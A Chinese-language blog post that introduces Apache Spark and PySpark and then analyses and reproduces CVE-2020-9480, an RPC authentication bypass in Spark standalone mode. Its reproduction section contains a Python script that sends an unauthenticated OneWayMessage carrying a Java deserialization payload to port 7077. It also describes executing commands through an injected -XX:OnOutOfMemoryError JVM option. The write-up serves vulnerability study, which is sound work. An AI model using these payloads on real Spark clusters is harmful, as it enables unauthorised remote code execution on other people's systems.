Apache Spark 認證繞過漏洞(CVE-2020-9480)研究

一、Apache Spark簡介

Spark是一種快速、通用、可擴展的大數據分析引擎,2009年誕生於加州大學伯克利分校AMPLab,2010年開源,2013年6月成爲Apache孵化項目,2014年2月成爲Apache頂級項目。項目是用Scala進行編寫。

目前,Spark生態系統已經發展成爲一個包含多個子項目的集合,其中包含

  • SparkSQL
  • Spark Streaming
  • GraphX
  • MLib
  • SparkR等子項目

Spark是基於內存計算的大數據並行計算框架。除了擴展了廣泛使用的 MapReduce 計算模型,而且高效地支持更多計算模式,包括交互式查詢和流處理。 

0x1:Spark框架體系 

Spark 適用於各種各樣原先需要多種不同的分佈式平臺的場景,包括批處理、迭代算法、交互式查詢、流處理。通過在一個統一的框架下支持這些不同的計算,Spark 使我們可以簡單而低耗地把各種處理流程整合在一起。而這樣的組合,在實際的數據分析過程中是很有意義的。不僅如此,Spark 的這種特性還大大減輕了原先需要對各種平臺分別管理的負擔。

 

  • Spark Core:實現了 Spark 的基本功能,包含任務調度、內存管理、錯誤恢復、與存儲系統 交互等模塊。Spark Core 中還包含了對彈性分佈式數據集(resilient distributed dataset,簡稱RDD)的 API 定義。
  • Spark SQL:是 Spark 用來操作結構化數據的程序包。通過 Spark SQL,我們可以使用 SQL 或者 Apache Hive 版本的 SQL 方言(HQL)來查詢數據。Spark SQL 支持多種數據源,比 如 Hive 表、Parquet 以及 JSON 等。
  • Spark Streaming:是 Spark 提供的對實時數據進行流式計算的組件。提供了用來操作數據流的 API,並且與 Spark Core 中的 RDD API 高度對應。
  • Spark MLlib:提供常見的機器學習(ML)功能的程序庫。包括分類、迴歸、聚類、協同過濾等,還提供了模型評估、數據 導入等額外的支持功能。
  • 集羣管理器:Spark 設計爲可以高效地在一個計算節點到數千個計算節點之間伸縮計算。爲了實現這樣的要求,同時獲得最大靈活性,Spark 支持在各種集羣管理器(cluster manager)上運行,包括 Hadoop YARN、Apache Mesos,以及 Spark 自帶的一個簡易調度 器,叫作獨立調度器。

整體框架體系如下:

 

通過flume採集數據,然後可以用過MapReduce的可以對數據進行清洗和分析,處理後的數據可以存儲到HBase(相當於存到了HDFS中),HDFS是一個非常強大的分佈式文件系統。

0x2:Spark和MR對比 

MR中的迭代:

Spark中的迭代:

  • spark把運算的中間數據存放在內存,迭代計算效率更高;mapreduce的中間結果需要落地,需要保存到磁盤,這樣必然會有磁盤io操做,影響性能。
  • spark容錯性高,它通過彈性分佈式數據集RDD來實現高效容錯,RDD是一組分佈式的存儲在節點內存中的只讀性質的數據集,這些集合是彈性的,某一部分丟失或者出錯,可以通過整個數據集的計算流程的血緣關係來實現重建;mapreduce的話容錯可能只能重新計算了,成本較高。
  • spark更加通用,spark提供了transformation和action這兩大類的多個功能api,另外還有流式處理sparkstreaming模塊、圖計算GraphX等等;mapreduce只提供了map和reduce兩種操作,流計算以及其他模塊的支持比較缺乏。
  • spark框架和生態更爲複雜,首先有RDD、血緣lineage、執行時的有向無環圖DAG、stage劃分等等,很多時候spark作業都需要根據不同業務場景的需要進行調優已達到性能要求;mapreduce框架及其生態相對較爲簡單,對性能的要求也相對較弱,但是運行較爲穩定,適合長期後臺運行。 

0x3:Spark核心概念

1、SparkContext

Spark是管理集羣和協調集羣進程的對象。SparkContext就像任務的分配和總調度師一樣,處理數據分配,任務切分這些任務。

下圖是Spark官網給出的集羣之間的邏輯框架圖,可以看到SparkContext在Driver程序中運行,這裏的Driver就是主進程的意思。Worker Node就是集羣的計算節點,計算任務在它們上完成。

2、RDD

RDD是Resilient Distributed Datasets的縮寫,中文翻譯爲彈性分佈式數據集,它是Spark的數據操作元素,是具有容錯性的並行的基本單元。

RDD之於Spark,就相當於array之於Numpy,Matrix之於MatLab,DataFrames之於Pandas。很重要的一個點是:RDD天然就是在分佈式機器上存儲的,這種碎片化的存儲使得任務的並行變得容易。    

0x4:集羣模型

1、Cluster模型

上圖是官網給出的Spark集羣模型,Driver Program 是主進程,SparkContext運行在它上面,它跟Cluster Manager相連。Driver對Cluster Manager下達任務人,然後由Cluster Manager將任資源分配給各個計算節點(Worker Node)上的executor,然後Driver再將應用的代碼發送給各個Worker Node。最後,Driver向各個節點發送Task來運行。

這裏有幾個需要注意的點:

  • 在Spark中,各個應用之間數據是隔離的,即不同的SparkContext之間互不可見。這樣能有效地保護數據的局部性。
  • Cluster Manager對Driver來說是不知的,透明的,只要能滿足要求就可以。所以Spark可以在Apache Mesos、Hadoop YARN、Standalone這些Cluster Manager上運行。
  • 在運行過程中,Driver需要隨時準備好接收來自各個計算節點的數據,所以對各個executor來說,Driver必須是可尋址的,比如有公網IP,或者如果在同一個局域網的話,有固定的局域網IP。
  • 由於Driver需要隨時接收消息和數據,所以最好Driver和各個節點比較鄰近,這樣數據傳輸會比較快。

0x5:Spark RPC

Spark RPC 是一個自定義的協議。底層是基於netty4開發的,相關的實現封裝在spark-network-common.jar和spark-core.jar中,其中前者使用的JAVA開發的後者使用的是scala語言。

協議內部結構由兩部分構成header和body,

  • header中的內容包括:整個frame的長度(8個字節),message的類型(1個字節),以及requestID(8個字節)還有body的長度(4個字節)
  • body根據協議定義的數據類型不同略有差異.

參考鏈接:

https://zhuanlan.zhihu.com/p/66494957

 

二、Spark編程

Apache Spark 是用 Scala 編程語言編寫的。爲了在 Spark 中支持 Python,Apache Spark 社區發佈了一個工具 PySpark。使用 PySpark,我們還可以使用 Python 編程語言處理 RDD。正是因爲有一個名爲 Py4j 的庫,他們才能夠實現這一點。

Spark官方下載頁面選擇一個合適版本的Spark。

安裝PySpark,

pip install pyspark

解壓下載的 Spark tar 文件,

tar -xvf spark-3.5.0-bin-hadoop3.tgz

它將創建一個目錄spark-3.5.0-bin-hadoop3,在啓動 PySpark 之前,我們需要設置以下環境來設置 Spark 路徑和Py4j path。

vim ~/.zshrc
添加:source ~/.bash_profile

vim ~/.bash_profile
添加:
export SPARK_HOME = /Users/zhenghan/Projects/spark-3.5.0-bin-hadoop3
export PATH = $PATH:/Users/zhenghan/Projects/spark-3.5.0-bin-hadoop3/bin
export PYTHONPATH = $SPARK_HOME/python:$SPARK_HOME/python/lib/py4j-0.10.9.7-src.zip:$PYTHONPATH
export PATH = $SPARK_HOME/python:$PATH

現在我們已經設置了所有環境,讓我們轉到 Spark 目錄並通過運行以下命令調用 PySpark shell,

./bin/pyspark

SparkContext 是任何 spark 功能的入口點。當我們運行任何 Spark 應用程序時,會啓動一個驅動程序,該程序具有 main 函數,並且您的 SparkContext 會在此處啓動。然後,驅動程序在工作節點上的執行程序內運行操作。

SparkContext 使用 Py4J 啓動一個JVM並創建一個JavaSparkContext. 默認情況下,PySpark 的 SparkContext 可用作 sc,

接下來我們在 PySpark shell 上運行一個簡單的示例。在此示例中,我們將計算在README.md文件。所以,假設一個文件有 5 行,並且 3 行有字符 ‘a’,那麼輸出將是 Line with a: 3,對字符“b”也是如此。 

logFile = "file:///Users/zhenghan/Projects/spark-3.5.0-bin-hadoop3/README.md"
logData = sc.textFile(logFile).cache()
numAs = logData.filter(lambda s: 'a' in s).count()
numBs = logData.filter(lambda s: 'b' in s).count()
print("Lines with a: %i, lines with b: %i" % (numAs, numBs))

讓我們使用 Python 程序運行相同的示例。創建一個名爲的 Python 文件firstapp.py並在該文件中輸入以下代碼。 

# -*- coding: utf-8 -*-

from pyspark import SparkContext

if __name__ == "__main__":
    logFile = "file:///Users/zhenghan/Projects/spark-3.5.0-bin-hadoop3/README.md"
    sc = SparkContext("local", "first app")
    logData = sc.textFile(logFile).cache()
    numAs = logData.filter(lambda s: 'a' in s).count()
    numBs = logData.filter(lambda s: 'b' in s).count()
    print("Lines with a: %i, lines with b: %i" % (numAs, numBs))

參考鏈接:

https://spark.apache.org/downloads.html
https://www.jianshu.com/p/8e51bc9cebfa 
https://www.hadoopdoc.com/spark/pyspark-env
https://www.hadoopdoc.com/spark/pyspark-sparkcontext
https://cloud.tencent.com/developer/article/1559471

  

二、漏洞原理分析

2020 年 06 月 24 日,Apache Spark 官方發佈了 Apache Spark 遠程代碼執行 的風險通告,該漏洞編號爲 CVE-2020-9480,漏洞等級:高危

Apache Spark是一個開源集羣運算框架。在 Apache Spark 2.4.5 以及更早版本中Spark的認證機制存在缺陷,導致共享密鑰認證失效。攻擊者利用該漏洞,可在未授權的情況下,在主機上執行命令,造成遠程代碼執行。

0x1:和漏洞相關的Spark部署背景知識介紹

SPARK 常用 5 種運行模式,2種運行部署方式.

5種運行模式:

  • LOCAL:本機運行模式,利用單機的多個線程來模擬 SPARK 分佈式計算,直接在本地運行
  • STANDALONE:STANDALONE 是 spark 自帶的調度程序,下面分析也是以 STANDALONE 調度爲主
  • YARN
  • Mesos
  • Kurnernetes

2種驅動程序部署方式:

  • CLIENT
  • CLUSTER

Spark 應用程序在集羣上做爲獨立的進程集運行,由 SparkContext 主程序中的對象(驅動程序 driver program)繼續進行調度。

  • CLIENT 驅動部署方式指驅動程序(driver) 在集羣外運行,比如 任務提交機器 上運行
  • CLUSTER 驅動部署方式指驅動程序(driver) 在集羣上運行

驅動程序(driver) 和集羣上工作節點 (Executor) 需要進行大量的交互,進行通信。

通信交互方式:RPC / RESTAPI

  • RESTAPI:該方式不支持使用驗證(CVE-2018-11770)防禦方式是隻能在可信的網絡下運行,RESTAPI 使用 jackson 做 json 反序列化解析,歷史漏洞 (CVE-2017-12612)
  • RPC:該方式設置可 auth 對訪問進行認證,CVE-2020-9480 是對認證方式的繞過。也是本次漏洞的分析目標

0x2:漏洞源碼分析

漏洞說明,在 standalone 模式下,繞過權限認證,導致 RCE。

前置條件:

  • 配置選項 spark.authenticate 啓用 RPC 身份驗證,spark.authenticate是RPC協議中的一個配置屬性,此參數控制Spark RPC是否使用共享密鑰進行認證。
  • 配置選項 spark.authenticate.secret 設定密鑰

理解:SPARK只要繞過權限認證,提交惡意的任務,即可造成RCE。找到 commit 記錄。

補丁修正:將 AuthRpcHandler 和 SaslRpcHandler 父類由 RpcHandler 修正爲 AbstractAuthRpcHandler, AbstractAuthRpcHandler 繼承自 RpcHandler, 對認證行爲進行了約束,

通過對比 Rpchandler 關鍵方法的實現可以發現 2.4.5 版本中,用於處理認證的 RpcHandler 的 receive重載方法 receive(TransportClient client, ByteBuffer message) 和 receiveStream 方法沒有做權限認證。而在更新版本中,父類AbstractAuthRpcHandler 對於 receive重載方法 receive(TransportClient client, ByteBuffer message) 和 receiveStream 添加了認證判斷

找到了diff補丁的位置,我們繼續回溯代碼執行流及SPARK RPC的實現, TransportRequestHandler 調用了 RPC handler receive 函數和 receiveStream。

TransportRequestHandler 用於處理 client 的請求,每一個 handler 與一個 netty channel 關聯,SPARK RPC 底層是基於 netty RPC 實現的,

*requesthandler 根據業務流類型調用 rpchandler 處理消息

public class TransportRequestHandler extends MessageHandler<RequestMessage> {

  ......

  public TransportRequestHandler(
      Channel channel,
      TransportClient reverseClient,
      RpcHandler rpcHandler,
      Long maxChunksBeingTransferred,
      ChunkFetchRequestHandler chunkFetchRequestHandler) {
    this.channel = channel;   /** The Netty channel that this handler is associated with. */
    this.reverseClient = reverseClient;   /** Client on the same channel allowing us to talk back to the requester. */
    this.rpcHandler = rpcHandler;    /** Handles all RPC messages. */ 
    this.streamManager = rpcHandler.getStreamManager(); /** Returns each chunk part of a stream. */
    this.maxChunksBeingTransferred = maxChunksBeingTransferred; /** The max number of chunks being transferred and not finished yet. */ 
    this.chunkFetchRequestHandler = chunkFetchRequestHandler; /** The dedicated ChannelHandler for ChunkFetchRequest messages. */
  }

  public void handle(RequestMessage request) throws Exception {
      if (request instanceof ChunkFetchRequest) {
        chunkFetchRequestHandler.processFetchRequest(channel, (ChunkFetchRequest) request);
      } else if (request instanceof RpcRequest) {
        processRpcRequest((RpcRequest) request);
      } else if (request instanceof OneWayMessage) {
        processOneWayMessage((OneWayMessage) request);
      } else if (request instanceof StreamRequest) {
        processStreamRequest((StreamRequest) request);
      } else if (request instanceof UploadStream) {
        processStreamUpload((UploadStream) request);
      } else {
        throw new IllegalArgumentException("Unknown request type: " + request);
      }
    }

  ......

  private void processRpcRequest(final RpcRequest req) {
    ......
    rpcHandler.receive(reverseClient, req.body().nioByteBuffer(), new RpcResponseCallback() {......}
    ......
  }

  private void processStreamUpload(final UploadStream req) {
  ......
  StreamCallbackWithID streamHandler = rpcHandler.receiveStream(reverseClient, meta, callback);
  ......
  }

  ......
  private void processOneWayMessage(OneWayMessage req) {
    ......
    rpcHandler.receive(reverseClient, req.body().nioByteBuffer());
    ......
  }

  private void processStreamRequest(final StreamRequest req) {
    ...
    buf = streamManager.openStream(req.streamId);
    streamManager.streamBeingSent(req.streamId);
    ...

  }

}
  • processRpcRequest 處理 RPCRequest 類型請求(RPC請求),調用 rpchandler.rpchandler(client, req, callback) 方法,需要進行驗證
  • processStreamUpload 處理 UploadStream 類型請求(上傳流數據),調用 rpchandler.receiveStream(client, meta, callback) 不需要驗證
  • processOneWayMessage 處理 OneWayMessage 類型請求(單向傳輸不需要回復),調用 rpchandler.receive(client, req),不需要驗證
  • processStreamRequest 處理 StreamRequest 類型請求,獲取 streamId ,取對應流數據。需要 streamId 存在

綜上,通過創建一個類型爲 UploadStream 和 OneWayMessage 的請求,即可繞過認證邏輯,提交任務,造成RCE。在未作權限約束下,可以使用 RPC 和 REST API 方式,向 SPARK 集羣提交惡意任務,反彈shell。

進一步地,該漏洞還可以和其他反序列化漏洞配合,形成更大的攻擊面。

參考鏈接:

https://avd.aliyun.com/detail?id=AVD-2018-17190
https://www.sohu.com/a/291358525_354899

 

三、漏洞復現

SPARK RPC 底層基於 NETTY 開發,相關實現封裝在spark-network-common.jar(java)和spark-core.jar(scala)中,在Apache Spark RPC協議中的反序列化漏洞分析 一文中,對 RPC 協議包進行了介紹。

0x1:反序列化gadgets利用

Apache Spark RPC協議中的反序列化漏洞分析 文章是通過構造 RpcRequest 消息,通過 nettyRPChandler 反序列解析處理消息觸發反序列化漏洞。處理反序列化的相關邏輯在 common/network-common/src/main/java/org/apache/spark/network/protocol/ 的 message 實現中。

協議內部結構由兩部分構成

  • header
  • body

header中的內容包括:

  • 整個frame的長度(8個字節)
  • message的類型(1個字節)

其中frame 長度計算:

  • header 長度:8(frame 長度)+ 1(message 類型長度)+ 8 (message 長度)+ 4(body的長度)= 21 字節
  • body 長度
MessageEncoder.java
  public void encode(ChannelHandlerContext ctx, Message in, List<Object> out) throws Exception {
    Message.Type msgType = in.type();
    // All messages have the frame length, message type, and message itself. The frame length
    // may optionally include the length of the body data, depending on what message is being
    // sent.
    int headerLength = 8 + msgType.encodedLength() + in.encodedLength();
    long frameLength = headerLength + (isBodyInFrame ? bodyLength : 0);
    ByteBuf header = ctx.alloc().buffer(headerLength);
    header.writeLong(frameLength);
    msgType.encode(header);
    in.encode(header);
    assert header.writableBytes() == 0;

    if (body != null) {
      // We transfer ownership of the reference on in.body() to MessageWithHeader.
      // This reference will be freed when MessageWithHeader.deallocate() is called.
      out.add(new MessageWithHeader(in.body(), header, body, bodyLength));
    } else {
      out.add(header);
    }
  }

不同信息類型會重載encode 函數 msgType.encode 。

  • 其中 OneWayMessage 包括 4 字節的 body 長度
  • RpcRequest 包括 8 字節的 requestId 和 4 字節的 body 長度
  • UploadStream 包括 8 字節的 requestId ,4 字節 metaBuf.remaining, 1 字節 metaBuf, 8 字節的 bodyByteCount
OneWayMessage.java
  public void encode(ByteBuf buf) {
    // See comment in encodedLength().
    buf.writeInt((int) body().size());
  }

RpcRequest.java
  @Override
  public void encode(ByteBuf buf) {
    buf.writeLong(requestId);
    // See comment in encodedLength().
    buf.writeInt((int) body().size());
  }

UploadStream.java 
public void encode(ByteBuf buf) {
    buf.writeLong(requestId);
    try {
      ByteBuffer metaBuf = meta.nioByteBuffer();
      buf.writeInt(metaBuf.remaining());
      buf.writeBytes(metaBuf);
    } catch (IOException io) {
      throw new RuntimeException(io);
    }
    buf.writeLong(bodyByteCount);

message 枚舉類型,

Message.java 
public static Type decode(ByteBuf buf) {
      byte id = buf.readByte();
      switch (id) {
        case 0: return ChunkFetchRequest;
        case 1: return ChunkFetchSuccess;
        case 2: return ChunkFetchFailure;
        case 3: return RpcRequest;
        case 4: return RpcResponse;
        case 5: return RpcFailure;
        case 6: return StreamRequest;
        case 7: return StreamResponse;
        case 8: return StreamFailure;
        case 9: return OneWayMessage;
        case 10: return UploadStream;
        case -1: throw new IllegalArgumentException("User type messages cannot be decoded.");
        default: throw new IllegalArgumentException("Unknown message type: " + id);
      }
    }

nettyRpcHandler 處理消息body時,body 由通信雙方地址和端口組成,後續是java序列化後的內容(ac ed 00 05)

其中 NettyRpcEnv.scala core/src/main/scala/org/apache/spark/rpc/netty/NettyRpcEnv.scala RequestMessage 類 serialize 方法是 RequestMessage 請求構建部分

private[netty] class RequestMessage(
    val senderAddress: RpcAddress,
    val receiver: NettyRpcEndpointRef,
    val content: Any) {

  /** Manually serialize [[RequestMessage]] to minimize the size. */
  def serialize(nettyEnv: NettyRpcEnv): ByteBuffer = {
    val bos = new ByteBufferOutputStream()
    val out = new DataOutputStream(bos)
    try {
      writeRpcAddress(out, senderAddress)
      writeRpcAddress(out, receiver.address)
      out.writeUTF(receiver.name)
      val s = nettyEnv.serializeStream(out)
      try {
        s.writeObject(content)
      } finally {
        s.close()
      }
    } finally {
      out.close()
    }
    bos.toByteBuffer
  }

  private def writeRpcAddress(out: DataOutputStream, rpcAddress: RpcAddress): Unit = {
    if (rpcAddress == null) {
      out.writeBoolean(false)
    } else {
      out.writeBoolean(true)
      out.writeUTF(rpcAddress.host)
      out.writeInt(rpcAddress.port)
    }
  }

以 OneWayMessage 舉例,

構造payload,

def build_oneway_msg(payload):
    msg_type = b'\x09'
    other_msg = '''
    01 00 0f 31 39 32 2e 31 36 38 2e 31 30 31
2e 31 32 39 00 00 89 6f 01 00 06 75 62 75 6e 74
75 00 00 1b a5 00 06 4d 61 73 74 65 72
    '''
    other_msg = other_msg.replace('\n', "").replace(' ', "")
    body_msg = bytes.fromhex(other_msg) + payload
    msg = struct.pack('>Q',len(body_msg) + 21) + msg_type 
    msg += struct.pack('>I',len(body_msg))
    msg += body_msg
    return msg

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(100)
server_address = ('192.168.101.129', 7077)
sock.connect(server_address)
# get ser_payload  構造java 反序列化payload 
payload = build_oneway_msg(ser_payload)
sock.send(payload)
time.sleep(5)
# data = sock.recv(1024)
sock.close()

使用URLDNS 反序列化payload。

0x2:繞過鑑權後新建RCE任務利用

OneWayMessage 可以繞過驗證,理論上構造一個提交任務請求就行。嘗試通過捕獲 rpcrequest 請求並重放。

SPARK deploy 模式爲 cluster 和 client。client 模式下提交任務方即爲 driver, 需要和 executor 進行大量交互,嘗試使用 --deploy-mode cluster

./bin/spark-submit --class org.apache.spark.examples.SparkPi  --master spark://127.0.0.1:7077   --deploy-mode cluster  --executor-memory 1G --total-executor-cores 2   examples/jars/spark-examples_2.11-2.4.5.jar  10

重放反序列化數據,報錯,

org.apache.spark.SparkException: Unsupported message OneWayMessage(192.168.101.129:35183,RequestSubmitDriver(DriverDescription (org.apache.spark.deploy.worker.DriverWrapper))) from 192.168.101.129:35183

NettyRpcHandler 處理的反序列化數據爲 DeployMessage 類型,DeployMessage消息類型有多個子類。

  • 當提交部署模式爲cluster時,使用 RequestSubmitDriver 類;
  • 當提交部署方式爲 client(默認)時,使用 registerapplication 類

對不同消息處理邏輯在 master.scala 中,可以看到 receive 方法中不存在RequestSubmitDriver的處理邏輯,OneWayMessage特點就是單向信息不會回覆,不會調用 receiveAndreply 方法。

override def receive: PartialFunction[Any, Unit] = {
    ...
    case RegisterWorker(
    case RegisterApplication(description, driver) 
    case ExecutorStateChanged(
    case DriverStateChanged(
    ...
  }

  override def receiveAndReply(context: RpcCallContext): PartialFunction[Any, Unit] = {
        ...
        case RequestSubmitDriver(description) 
        ...
  }

在 DEF CON Safe Mode - ayoul3 - Only Takes a Spark Popping a Shell on 1000 Nodes一文中,作者通過傳遞java 配置選項進行了代碼執行。

java 配置參數 -XX:OnOutOfMemoryError=touch /tmp/testspark 在JVM 發生內存錯誤時,會執行後續的命令
通過使用 -Xmx:1m 限制內存爲 1m 促使錯誤發生

提交任務攜帶以下配置選項,

spark.executor.extraJavaOptions=\"-Xmx:1m -XX:OnOutOfMemoryError=touch /tmp/testspark\"

SPARK-submit 客戶端限制只能通過 spark.executor.memory 設定 內存值,報錯,

Exception in thread "main" java.lang.IllegalArgumentException: Executor memory 1048576 must be at least 471859200. Please increase executor memory using the --executor-memory option or spark.executor.memory in Spark configuration.

最後通過使用 SerializationDumper 轉儲和重建爲 javaOpts 的 scala.collection.mutable.ArraySeq, 並添加 jvm 參數 -Xmx:1m,注意 SerializationDumper 還需要做數組自增,和部分handler 的調整。

參考鏈接:
https://superxiaoxiong.github.io/2021/03/01/spark%E8%AE%A4%E8%AF%81%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90CVE-2020-9480/
https://blog.tophant.ai/apache-spark-rpc%E5%8D%8F%E8%AE%AE%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://www.freebuf.com/vuls/194532.html

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章